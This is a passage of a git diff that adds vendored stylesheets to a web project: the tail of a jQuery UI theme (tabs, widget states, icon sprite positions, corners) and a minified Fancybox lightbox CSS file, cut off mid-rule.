+	padding: 0;
+	white-space: nowrap;
+}
+.ui-tabs .ui-tabs-nav .ui-tabs-anchor {
+	float: left;
+	padding: .5em 1em;
+	text-decoration: none;
+}
+.ui-tabs .ui-tabs-nav li.ui-tabs-active {
+	margin-bottom: -1px;
+	padding-bottom: 1px;
+}
+.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,
+.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,
+.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor {
+	cursor: text;
+}
+.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor {
+	cursor: pointer;
+}
+.ui-tabs .ui-tabs-panel {
+	display: block;
+	border-width: 0;
+	padding: 1em 1.4em;
+	background: none;
+}
+.ui-tooltip {
+	padding: 8px;
+	position: absolute;
+	z-index: 9999;
+	max-width: 300px;
+}
+body .ui-tooltip {
+	border-width: 2px;
+}
+/* Component containers
+----------------------------------*/
+.ui-widget {
+	font-family: Arial,Helvetica,sans-serif;
+	font-size: 1em;
+}
+.ui-widget .ui-widget {
+	font-size: 1em;
+}
+.ui-widget input,
+.ui-widget select,
+.ui-widget textarea,
+.ui-widget button {
+	font-family: Arial,Helvetica,sans-serif;
+	font-size: 1em;
+}
+.ui-widget.ui-widget-content {
+	border: 1px solid #c5c5c5;
+}
+.ui-widget-content {
+	border: 1px solid #dddddd;
+	background: #ffffff;
+	color: #333333;
+}
+.ui-widget-content a {
+	color: #333333;
+}
+.ui-widget-header {
+	border: 1px solid #dddddd;
+	background: #e9e9e9;
+	color: #333333;
+	font-weight: bold;
+}
+.ui-widget-header a {
+	color: #333333;
+}
+
+/* Interaction states
+----------------------------------*/
+.ui-state-default,
+.ui-widget-content .ui-state-default,
+.ui-widget-header .ui-state-default,
+.ui-button,
+
+/* We use html here because we need a greater specificity to make sure disabled
+works properly when clicked or hovered */
+html .ui-button.ui-state-disabled:hover,
+html .ui-button.ui-state-disabled:active {
+	border: 1px solid #c5c5c5;
+	background: #f6f6f6;
+	font-weight: normal;
+	color: #454545;
+}
+.ui-state-default a,
+.ui-state-default a:link,
+.ui-state-default a:visited,
+a.ui-button,
+a:link.ui-button,
+a:visited.ui-button,
+.ui-button {
+	color: #454545;
+	text-decoration: none;
+}
+.ui-state-hover,
+.ui-widget-content .ui-state-hover,
+.ui-widget-header .ui-state-hover,
+.ui-state-focus,
+.ui-widget-content .ui-state-focus,
+.ui-widget-header .ui-state-focus,
+.ui-button:hover,
+.ui-button:focus {
+	border: 1px solid #cccccc;
+	background: #ededed;
+	font-weight: normal;
+	color: #2b2b2b;
+}
+.ui-state-hover a,
+.ui-state-hover a:hover,
+.ui-state-hover a:link,
+.ui-state-hover a:visited,
+.ui-state-focus a,
+.ui-state-focus a:hover,
+.ui-state-focus a:link,
+.ui-state-focus a:visited,
+a.ui-button:hover,
+a.ui-button:focus {
+	color: #2b2b2b;
+	text-decoration: none;
+}
+
+.ui-visual-focus {
+	box-shadow: 0 0 3px 1px rgb(94, 158, 214);
+}
+.ui-state-active,
+.ui-widget-content .ui-state-active,
+.ui-widget-header .ui-state-active,
+a.ui-button:active,
+.ui-button:active,
+.ui-button.ui-state-active:hover {
+	border: 1px solid #003eff;
+	background: #007fff;
+	font-weight: normal;
+	color: #ffffff;
+}
+.ui-icon-background,
+.ui-state-active .ui-icon-background {
+	border: #003eff;
+	background-color: #ffffff;
+}
+.ui-state-active a,
+.ui-state-active a:link,
+.ui-state-active a:visited {
+	color: #ffffff;
+	text-decoration: none;
+}
+
+/* Interaction Cues
+----------------------------------*/
+.ui-state-highlight,
+.ui-widget-content .ui-state-highlight,
+.ui-widget-header .ui-state-highlight {
+	border: 1px solid #dad55e;
+	background: #fffa90;
+	color: #777620;
+}
+.ui-state-checked {
+	border: 1px solid #dad55e;
+	background: #fffa90;
+}
+.ui-state-highlight a,
+.ui-widget-content .ui-state-highlight a,
+.ui-widget-header .ui-state-highlight a {
+	color: #777620;
+}
+.ui-state-error,
+.ui-widget-content .ui-state-error,
+.ui-widget-header .ui-state-error {
+	border: 1px solid #f1a899;
+	background: #fddfdf;
+	color: #5f3f3f;
+}
+.ui-state-error a,
+.ui-widget-content .ui-state-error a,
+.ui-widget-header .ui-state-error a {
+	color: #5f3f3f;
+}
+.ui-state-error-text,
+.ui-widget-content .ui-state-error-text,
+.ui-widget-header .ui-state-error-text {
+	color: #5f3f3f;
+}
+.ui-priority-primary,
+.ui-widget-content .ui-priority-primary,
+.ui-widget-header .ui-priority-primary {
+	font-weight: bold;
+}
+.ui-priority-secondary,
+.ui-widget-content .ui-priority-secondary,
+.ui-widget-header .ui-priority-secondary {
+	opacity: .7;
+	filter:Alpha(Opacity=70); /* support: IE8 */
+	font-weight: normal;
+}
+.ui-state-disabled,
+.ui-widget-content .ui-state-disabled,
+.ui-widget-header .ui-state-disabled {
+	opacity: .35;
+	filter:Alpha(Opacity=35); /* support: IE8 */
+	background-image: none;
+}
+.ui-state-disabled .ui-icon {
+	filter:Alpha(Opacity=35); /* support: IE8 - See #6059 */
+}
+
+/* Icons
+----------------------------------*/
+
+/* states and images */
+.ui-icon {
+	width: 16px;
+	height: 16px;
+}
+.ui-icon,
+.ui-widget-content .ui-icon {
+	background-image: url("images/ui-icons_444444_256x240.png");
+}
+.ui-widget-header .ui-icon {
+	background-image: url("images/ui-icons_444444_256x240.png");
+}
+.ui-state-hover .ui-icon,
+.ui-state-focus .ui-icon,
+.ui-button:hover .ui-icon,
+.ui-button:focus .ui-icon {
+	background-image: url("images/ui-icons_555555_256x240.png");
+}
+.ui-state-active .ui-icon,
+.ui-button:active .ui-icon {
+	background-image: url("images/ui-icons_ffffff_256x240.png");
+}
+.ui-state-highlight .ui-icon,
+.ui-button .ui-state-highlight.ui-icon {
+	background-image: url("images/ui-icons_777620_256x240.png");
+}
+.ui-state-error .ui-icon,
+.ui-state-error-text .ui-icon {
+	background-image: url("images/ui-icons_cc0000_256x240.png");
+}
+.ui-button .ui-icon {
+	background-image: url("images/ui-icons_777777_256x240.png");
+}
+
+/* positioning */
+.ui-icon-blank { background-position: 16px 16px; }
+.ui-icon-caret-1-n { background-position: 0 0; }
+.ui-icon-caret-1-ne { background-position: -16px 0; }
+.ui-icon-caret-1-e { background-position: -32px 0; }
+.ui-icon-caret-1-se { background-position: -48px 0; }
+.ui-icon-caret-1-s { background-position: -65px 0; }
+.ui-icon-caret-1-sw { background-position: -80px 0; }
+.ui-icon-caret-1-w { background-position: -96px 0; }
+.ui-icon-caret-1-nw { background-position: -112px 0; }
+.ui-icon-caret-2-n-s { background-position: -128px 0; }
+.ui-icon-caret-2-e-w { background-position: -144px 0; }
+.ui-icon-triangle-1-n { background-position: 0 -16px; }
+.ui-icon-triangle-1-ne { background-position: -16px -16px; }
+.ui-icon-triangle-1-e { background-position: -32px -16px; }
+.ui-icon-triangle-1-se { background-position: -48px -16px; }
+.ui-icon-triangle-1-s { background-position: -65px -16px; }
+.ui-icon-triangle-1-sw { background-position: -80px -16px; }
+.ui-icon-triangle-1-w { background-position: -96px -16px; }
+.ui-icon-triangle-1-nw { background-position: -112px -16px; }
+.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
+.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
+.ui-icon-arrow-1-n { background-position: 0 -32px; }
+.ui-icon-arrow-1-ne { background-position: -16px -32px; }
+.ui-icon-arrow-1-e { background-position: -32px -32px; }
+.ui-icon-arrow-1-se { background-position: -48px -32px; }
+.ui-icon-arrow-1-s { background-position: -65px -32px; }
+.ui-icon-arrow-1-sw { background-position: -80px -32px; }
+.ui-icon-arrow-1-w { background-position: -96px -32px; }
+.ui-icon-arrow-1-nw { background-position: -112px -32px; }
+.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
+.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
+.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
+.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
+.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
+.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
+.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
+.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
+.ui-icon-arrowthick-1-n { background-position: 1px -48px; }
+.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
+.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
+.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
+.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
+.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
+.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
+.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
+.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
+.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
+.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
+.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
+.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
+.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
+.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
+.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
+.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
+.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
+.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
+.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
+.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
+.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
+.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
+.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
+.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
+.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
+.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
+.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
+.ui-icon-arrow-4 { background-position: 0 -80px; }
+.ui-icon-arrow-4-diag { background-position: -16px -80px; }
+.ui-icon-extlink { background-position: -32px -80px; }
+.ui-icon-newwin { background-position: -48px -80px; }
+.ui-icon-refresh { background-position: -64px -80px; }
+.ui-icon-shuffle { background-position: -80px -80px; }
+.ui-icon-transfer-e-w { background-position: -96px -80px; }
+.ui-icon-transferthick-e-w { background-position: -112px -80px; }
+.ui-icon-folder-collapsed { background-position: 0 -96px; }
+.ui-icon-folder-open { background-position: -16px -96px; }
+.ui-icon-document { background-position: -32px -96px; }
+.ui-icon-document-b { background-position: -48px -96px; }
+.ui-icon-note { background-position: -64px -96px; }
+.ui-icon-mail-closed { background-position: -80px -96px; }
+.ui-icon-mail-open { background-position: -96px -96px; }
+.ui-icon-suitcase { background-position: -112px -96px; }
+.ui-icon-comment { background-position: -128px -96px; }
+.ui-icon-person { background-position: -144px -96px; }
+.ui-icon-print { background-position: -160px -96px; }
+.ui-icon-trash { background-position: -176px -96px; }
+.ui-icon-locked { background-position: -192px -96px; }
+.ui-icon-unlocked { background-position: -208px -96px; }
+.ui-icon-bookmark { background-position: -224px -96px; }
+.ui-icon-tag { background-position: -240px -96px; }
+.ui-icon-home { background-position: 0 -112px; }
+.ui-icon-flag { background-position: -16px -112px; }
+.ui-icon-calendar { background-position: -32px -112px; }
+.ui-icon-cart { background-position: -48px -112px; }
+.ui-icon-pencil { background-position: -64px -112px; }
+.ui-icon-clock { background-position: -80px -112px; }
+.ui-icon-disk { background-position: -96px -112px; }
+.ui-icon-calculator { background-position: -112px -112px; }
+.ui-icon-zoomin { background-position: -128px -112px; }
+.ui-icon-zoomout { background-position: -144px -112px; }
+.ui-icon-search { background-position: -160px -112px; }
+.ui-icon-wrench { background-position: -176px -112px; }
+.ui-icon-gear { background-position: -192px -112px; }
+.ui-icon-heart { background-position: -208px -112px; }
+.ui-icon-star { background-position: -224px -112px; }
+.ui-icon-link { background-position: -240px -112px; }
+.ui-icon-cancel { background-position: 0 -128px; }
+.ui-icon-plus { background-position: -16px -128px; }
+.ui-icon-plusthick { background-position: -32px -128px; }
+.ui-icon-minus { background-position: -48px -128px; }
+.ui-icon-minusthick { background-position: -64px -128px; }
+.ui-icon-close { background-position: -80px -128px; }
+.ui-icon-closethick { background-position: -96px -128px; }
+.ui-icon-key { background-position: -112px -128px; }
+.ui-icon-lightbulb { background-position: -128px -128px; }
+.ui-icon-scissors { background-position: -144px -128px; }
+.ui-icon-clipboard { background-position: -160px -128px; }
+.ui-icon-copy { background-position: -176px -128px; }
+.ui-icon-contact { background-position: -192px -128px; }
+.ui-icon-image { background-position: -208px -128px; }
+.ui-icon-video { background-position: -224px -128px; }
+.ui-icon-script { background-position: -240px -128px; }
+.ui-icon-alert { background-position: 0 -144px; }
+.ui-icon-info { background-position: -16px -144px; }
+.ui-icon-notice { background-position: -32px -144px; }
+.ui-icon-help { background-position: -48px -144px; }
+.ui-icon-check { background-position: -64px -144px; }
+.ui-icon-bullet { background-position: -80px -144px; }
+.ui-icon-radio-on { background-position: -96px -144px; }
+.ui-icon-radio-off { background-position: -112px -144px; }
+.ui-icon-pin-w { background-position: -128px -144px; }
+.ui-icon-pin-s { background-position: -144px -144px; }
+.ui-icon-play { background-position: 0 -160px; }
+.ui-icon-pause { background-position: -16px -160px; }
+.ui-icon-seek-next { background-position: -32px -160px; }
+.ui-icon-seek-prev { background-position: -48px -160px; }
+.ui-icon-seek-end { background-position: -64px -160px; }
+.ui-icon-seek-start { background-position: -80px -160px; }
+/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
+.ui-icon-seek-first { background-position: -80px -160px; }
+.ui-icon-stop { background-position: -96px -160px; }
+.ui-icon-eject { background-position: -112px -160px; }
+.ui-icon-volume-off { background-position: -128px -160px; }
+.ui-icon-volume-on { background-position: -144px -160px; }
+.ui-icon-power { background-position: 0 -176px; }
+.ui-icon-signal-diag { background-position: -16px -176px; }
+.ui-icon-signal { background-position: -32px -176px; }
+.ui-icon-battery-0 { background-position: -48px -176px; }
+.ui-icon-battery-1 { background-position: -64px -176px; }
+.ui-icon-battery-2 { background-position: -80px -176px; }
+.ui-icon-battery-3 { background-position: -96px -176px; }
+.ui-icon-circle-plus { background-position: 0 -192px; }
+.ui-icon-circle-minus { background-position: -16px -192px; }
+.ui-icon-circle-close { background-position: -32px -192px; }
+.ui-icon-circle-triangle-e { background-position: -48px -192px; }
+.ui-icon-circle-triangle-s { background-position: -64px -192px; }
+.ui-icon-circle-triangle-w { background-position: -80px -192px; }
+.ui-icon-circle-triangle-n { background-position: -96px -192px; }
+.ui-icon-circle-arrow-e { background-position: -112px -192px; }
+.ui-icon-circle-arrow-s { background-position: -128px -192px; }
+.ui-icon-circle-arrow-w { background-position: -144px -192px; }
+.ui-icon-circle-arrow-n { background-position: -160px -192px; }
+.ui-icon-circle-zoomin { background-position: -176px -192px; }
+.ui-icon-circle-zoomout { background-position: -192px -192px; }
+.ui-icon-circle-check { background-position: -208px -192px; }
+.ui-icon-circlesmall-plus { background-position: 0 -208px; }
+.ui-icon-circlesmall-minus { background-position: -16px -208px; }
+.ui-icon-circlesmall-close { background-position: -32px -208px; }
+.ui-icon-squaresmall-plus { background-position: -48px -208px; }
+.ui-icon-squaresmall-minus { background-position: -64px -208px; }
+.ui-icon-squaresmall-close { background-position: -80px -208px; }
+.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
+.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
+.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
+.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
+.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
+.ui-icon-grip-diagonal-se { background-position: -80px -224px; }
+
+
+/* Misc visuals
+----------------------------------*/
+
+/* Corner radius */
+.ui-corner-all,
+.ui-corner-top,
+.ui-corner-left,
+.ui-corner-tl {
+	border-top-left-radius: 3px;
+}
+.ui-corner-all,
+.ui-corner-top,
+.ui-corner-right,
+.ui-corner-tr {
+	border-top-right-radius: 3px;
+}
+.ui-corner-all,
+.ui-corner-bottom,
+.ui-corner-left,
+.ui-corner-bl {
+	border-bottom-left-radius: 3px;
+}
+.ui-corner-all,
+.ui-corner-bottom,
+.ui-corner-right,
+.ui-corner-br {
+	border-bottom-right-radius: 3px;
+}
+
+/* Overlays */
+.ui-widget-overlay {
+	background: #aaaaaa;
+	opacity: .3;
+	filter: Alpha(Opacity=30); /* support: IE8 */
+}
+.ui-widget-shadow {
+	-webkit-box-shadow: 0px 0px 5px #666666;
+	box-shadow: 0px 0px 5px #666666;
+}
diff --git a/public/css/jquery.fancybox.min.css b/public/css/jquery.fancybox.min.css
new file mode 100644
index 0000000..3d25c54
--- /dev/null
+++ b/public/css/jquery.fancybox.min.css
@@ -0,0 +1 @@
+body.compensate-for-scrollbar{overflow:hidden}.fancybox-active{height:auto}.fancybox-iosfix{height:100%;left:0;overflow:hidden;position:fixed;width:100%}.fancybox-is-hidden{left:-9999px;margin:0;position:absolute!important;top:-9999px;visibility:hidden}.fancybox-container{-webkit-backface-visibility:hidden;backface-visibility:hidden;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;height:100%;left:0;position:fixed;-webkit-tap-highlight-color:transparent;top:0;-webkit-transform:translateZ(0);transform:translateZ(0);width:100%;z-index:99992}.fancybox-container *{box-sizing:border-box}.fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-stage{bottom:0;left:0;position:absolute;right:0;top:0}.fancybox-outer{-webkit-overflow-scrolling:touch;overflow-y:auto}.fancybox-bg{background:#1e1e1e;opacity:0;transition-duration:inherit;transition-property:opacity;transition-timing-function:cubic-bezier(.47,0,.74,.71)}.fancybox-is-open .fancybox-bg{opacity:.87;transition-timing-function:cubic-bezier(.22,.61,.36,1)}.fancybox-caption,.fancybox-infobar,.fancybox-navigation .fancybox-button,.fancybox-toolbar{direction:ltr;opacity:0;position:absolute;transition:opacity .25s,visibility 0s linear .25s;visibility:hidden;z-index:99997}.fancybox-show-caption .fancybox-caption,.fancybox-show-infobar .fancybox-infobar,.fancybox-show-nav .fancybox-navigation .fancybox-button,.fancybox-show-toolbar .fancybox-toolbar{opacity:1;transition:opacity .25s,visibility 0s;visibility:visible}.fancybox-infobar{color:#ccc;font-size:13px;-webkit-font-smoothing:subpixel-antialiased;height:44px;left:0;line-height:44px;min-width:44px;mix-blend-mode:difference;padding:0 10px;pointer-events:none;text-align:center;top:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.fancybox-toolbar{right:0;top:0}.fancybox-stage{direction:ltr;overflow:visible;-webkit-transform:translateZ(0);z-index:99994}.fancybox-is-open .fancybox-stage{overflow:hidden}.fancybox-slide{-webkit-backface-visibility:hidden;backface-visibility:hidden;display:none;height:100%;left:0;outline:none;overflow:auto;-webkit-overflow-scrolling:touch;padding:44px;position:absolute;text-align:center;top:0;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;white-space:normal;width:100%;z-index:99994}.fancybox-slide:before{content:"";display:inline-block;height:100%;margin-right:-.25em;vertical-align:middle;width:0}.fancybox-is-sliding .fancybox-slide,.fancybox-slide--current,.fancybox-slide--next,.fancybox-slide--previous{display:block}.fancybox-slide--next{z-index:99995}.fancybox-slide--image{overflow:visible;padding:44px 0}.fancybox-slide--image:before{display:none}.fancybox-slide--html{padding:6px 6px 0}.fancybox-slide--iframe{padding:44px 44px 0}.fancybox-content{background:#fff;display:inline-block;margin:0 0 6px;max-width:100%;overflow:auto;padding:0;padding:24px;position:relative;text-align:left;vertical-align:middle}.fancybox-slide--image .fancybox-content{-webkit-animation-timing-function:cubic-bezier(.5,0,.14,1);animation-timing-function:cubic-bezier(.5,0,.14,1);-webkit-backface-visibility:hidden;backface-visibility:hidden;background:transparent;background-repeat:no-repeat;background-size:100% 100%;left:0;margin:0;max-width:none;overflow:visible;padding:0;position:absolute;top:0;-webkit-transform-origin:top left;transform-origin:top left;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:99995}.fancybox-can-zoomOut .fancybox-content{cursor:zoom-out}.fancybox-can-zoomIn .fancybox-content{cursor:zoom-in}.fancybox-can-drag .fancybox-content{cursor:-webkit-grab;cursor:grab}.fancybox-is-dragging .fancybox-content{cursor:-webkit-grabbing;cursor:grabbing}.fancybox-container [data-selectable=true]{cursor:text}.fancybox-image,.fancybox-spaceball{background:transparent;border:0;height:100%;left:0;margin:0;max-height:none;max-width:none;padding:0;position:absolute;top:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.fancybox-spaceball{z-index:1}.fancybox-slide--html .fancybox-content{margin-bottom:6px}.fancybox-slide--iframe .fancybox-content,.fancybox-slide--map .fancybox-content,.fancybox-slide--video .fancybox-content{height:100%;margin:0;overflow:visible;padding:0;width:100%}.fancybox-slide--video .fancybox-content{background:#000}.fancybox-slide--map .fancybox-content{background:#e5e3df}.fancybox-slide--iframe .fancybox-content{background:#fff;height:calc(100% - 44px);margin-bottom:44px}.fancybox-iframe,.fancybox-video{background:transparent;border:0;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.fancybox-iframe{vertical-align:top}.fancybox-error{background:#fff;cursor:default;max-width:400px;padding:40px;width:100%}.fancybox-error p{color:#444;font-size:16px;line-height:20px;margin:0;padding:0}.fancybox-button{background:rgba(30,30,30,.6);border:0;border-radius:0;cursor:pointer;display:inline-block;height:44px;margin:0;outline:none;padding:10px;transition:color .2s;vertical-align:top;width:44px}.fancybox-button,.fancybox-button:link,.fancybox-button:visited{color:#ccc}.fancybox-button:focus,.fancybox-button:hover{color:#fff}.fancybox-button.disabled,.fancybox-button.disabled:hover,.fancybox-button[disabled],.fancybox-button[disabled]:hover{color:#888;cursor:default}.fancybox-button svg{display:block;overflow:visible;position:relative;shape-rendering:geometricPrecision}.fancybox-button svg path{fill:transparent;stroke:currentColor;stroke-linejoin:round;stroke-width:3}.fancybox-button--pause svg path:nth-child(1),.fancybox-button--play svg path:nth-child(2){display:none}.fancybox-button--play svg path,.fancybox-button--share svg path,.fancybox-button--thumbs svg path{fill:currentColor}.fancybox-button--share svg path{stroke-width:1}.fancybox-navigation .fancybox-button{height:38px;opacity:0;padding:6px;position:absolute;top:50%;width:38px}.fancybox-show-nav .fancybox-navigation .fancybox-button{transition:opacity .25s,visibility 0s,color .25s}.fancybox-navigation .fancybox-button:after{content:"";left:-25px;padding:50px;position:absolute;top:-25px}.fancybox-navigation .fancybox-button--arrow_left{left:6px}.fancybox-navigation .fancybox-button--arrow_right{right:6px}.fancybox-close-small{background:transparent;border:0;border-radius:0;color:#555;cursor:pointer;height:44px;margin:0;padding:6px;position:absolute;right:0;top:0;width:44px;z-index:10}.fancybox-close-small svg{fill:transparent;opacity:.8;stroke:currentColor;stroke-width:1.5;transition:stroke .1s}.fancybox-close-small:focus{outline:none}.fancybox-close-small:hover svg{opacity:1}.fancybox-slide--iframe .fancybox-close-small,.fancybox-slide--image .fancybox-close-small,.fancybox-slide--video .fancybox-close-small{color:#ccc;padding:5px;right:-12px;top:-44px}.fancybox-slide--iframe .fancybox-close-small:hover svg,.fancybox-slide--image .fancybox-close-small:hover svg,.fancybox-slide--video .fancybox-close-small:hover svg{background:transparent;color:#fff}.fancybox-is-scaling .fancybox-close-small,.fancybox-is-zoomable.fancybox-can-drag .fancybox-close-small{display:none}.fancybox-caption{bottom:0;color:#fff;font-size:14px;font-weight:400;left:0;line-height:1.5;padding:25px 44px;right:0}.fancybox-caption:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAEtCAQAAABjBcL7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHRJREFUKM+Vk8EOgDAIQ0vj/3+xBw8qIZZueFnIKC90MCAI8DlrkHGeqqGIU6lVigrBtpCWqeRWoHDNqs0F7VNVBVxmHRlvoVqjaYkdnDIaivH2HqZ5+oZj3JUzWB+cOz4G48Bg+tsJ/tqu4dLC/4Xb+0GcF5BwBC0AA53qAAAAAElFTkSuQmCC);background-repeat:repeat-x;background-size:contain;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:-25px;z-index:-1}.fancybox-caption:after{border-bottom:1px solid hsla(0,0%,100%,.3);content:"";display:block;left:44px;position:absolute;right:44px;top:0}.fancybox-caption a,.fancybox-caption a:link,.fancybox-caption a:visited{color:#ccc;text-decoration:none}.fancybox-caption a:hover{color:#fff;text-decoration:underline}.fancybox-loading{-webkit-animation:a .8s infinite linear;animation:a .8s infinite linear;background:transparent;border:6px solid hsla(0,0%,39%,.5);border-radius:100%;border-top-color:#fff;height:60px;left:50%;margin:-30px 0 0 -30px;opacity:.6;padding:0;position:absolute;top:50%;width:60px;z-index:99999}@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fancybox-animated{transition-timing-function:cubic-bezier(0,0,.25,1)}.fancybox-fx-slide.fancybox-slide--previous{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.fancybox-fx-slide.fancybox-slide--next{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.fancybox-fx-slide.fancybox-slide--current{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}.fancybox-fx-fade.fancybox-slide--next,.fancybox-fx-fade.fancybox-slide--previous{opacity:0;transition-timing-function:cubic-bezier(.19,1,.22,1)}.fancybox-fx-fade.fancybox-slide--current{opacity:1}.fancybox-fx-zoom-in-out.fancybox-slide--previous{opacity:0;-webkit-transform:scale3d(1.5,1.5,1.5);transform:scale3d(1.5,1.5,1.5)}.fancybox-fx-zoom-in-out.fancybox-slide--next{opacity:0;-webkit-transform:scale3d(.5,.5,.5);transform:scale3d(.5,.5,.5)}.fancybox-fx-zoom-in-out.fancybox-slide--current{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}.fancybox-fx-rotate.fancybox-slide--previous{opacity:0;-webkit-transform:rotate(-1turn);transform:rotate(-1turn)}.fancybox-fx-rotate.fancybox-slide--next{opacity:0;-webkit-transform:rotate(1turn);transform:rotate(1turn)}.fancybox-fx-rotate.fancybox-slide--current{opacity:1;-webkit-transform:rotate(0deg);transform:rotate(0deg)}.fancybox-fx-circular.fancybox-slide--previous{opacity:0;-webkit-transform:scale3d(0,0,0) translate3d(-100%,0,0);transform:scale3d(0,0,0) translate3d(-100%,0,0)}.fancybox-fx-circular.fancybox-slide--next{opacity:0;-webkit-transform:scale3d(0,0,0) translate3d(100%,0,0);transform:scale3d(0,0,0) translate3d(100%,0,0)}.fancybox-fx-circular.fancybox-slide--current{opacity:1;-webkit-transform:scaleX(1) translateZ(0);transform:scaleX(1) translateZ(0)}.fancybox-fx-tube.fancybox-slide--previous{-webkit-transform:translate3d(-100%,0,0) scale(.1) skew(-10deg);transform:translate3d(-100%,0,0) scale(.1) skew(-10deg)}.fancybox-fx-tube.fancybox-slide--next{-webkit-transform:translate3d(100%,0,0) scale(.1) skew(10deg);transform:translate3d(100%,0,0) scale(.1) skew(10deg)}.fancybox-fx-tube.fancybox-slide--current{-webkit-transform:translateZ(0) scale(1);transform:translateZ(0) scale(1)}.fancybox-share{background:#f4f4f4;border-radius:3px;max-width:90%;padding:30px;text-align:center}.fancybox-share h1{color:#222;font-size:35px;font-weight:700;margin:0 0 20px}.fancybox-share p{margin:0;padding:0}.fancybox-share__button{border:0;border-radius:3px;display:inline-block;font-size:14px;font-weight:700;line-height:40px;margin:0 5px 10px;min-width:130px;padding:0 15px;text-decoration:none;transition:all .2s;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap}.fancybox-share__button:link,.fancybox-share__button:visited{color:#fff}.fancybox-share__button:hover{text-decoration:none}.fancybox-share__button--fb{background:#3b5998}.fancybox-share__button--fb:hover{background:#344e86}.fancybox-share__button--pt{background:#bd081d}.fancybox-share__button--pt:hover{background:#aa0719}.fancybox-share__button--tw{background:#1da1f2}.fancybox-share__button--tw:hover{background:#0d95e8}.fancybox-share__button svg{height:25px;margin-right:7px;position:relative;top:-1px;vertical-align:middle;width:25px}.fancybox-share__button svg path{fill:#fff}.fancybox-share__input{background:transparent;border:0;border-bottom:1px solid #d7d7d7;border-radius:0;color:#5d5b5b;font-size:14px;margin:10px 0 0;outline:none;padding:10px 15px;width:100%}.fancybox-thumbs{background:#fff;bottom:0;display:none;margin:0;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar;padding:2px 2px 4px;position:absolute;right:0;-webkit-tap-highlight-color:transparent;top:0;width:212px;z-index:99995}.fancybox-thumbs-x{overflow-x:auto;overflow-y:hidden}.fancybox-show-thumbs .fancybox-thumbs{display:block}.fancybox-show-thumbs 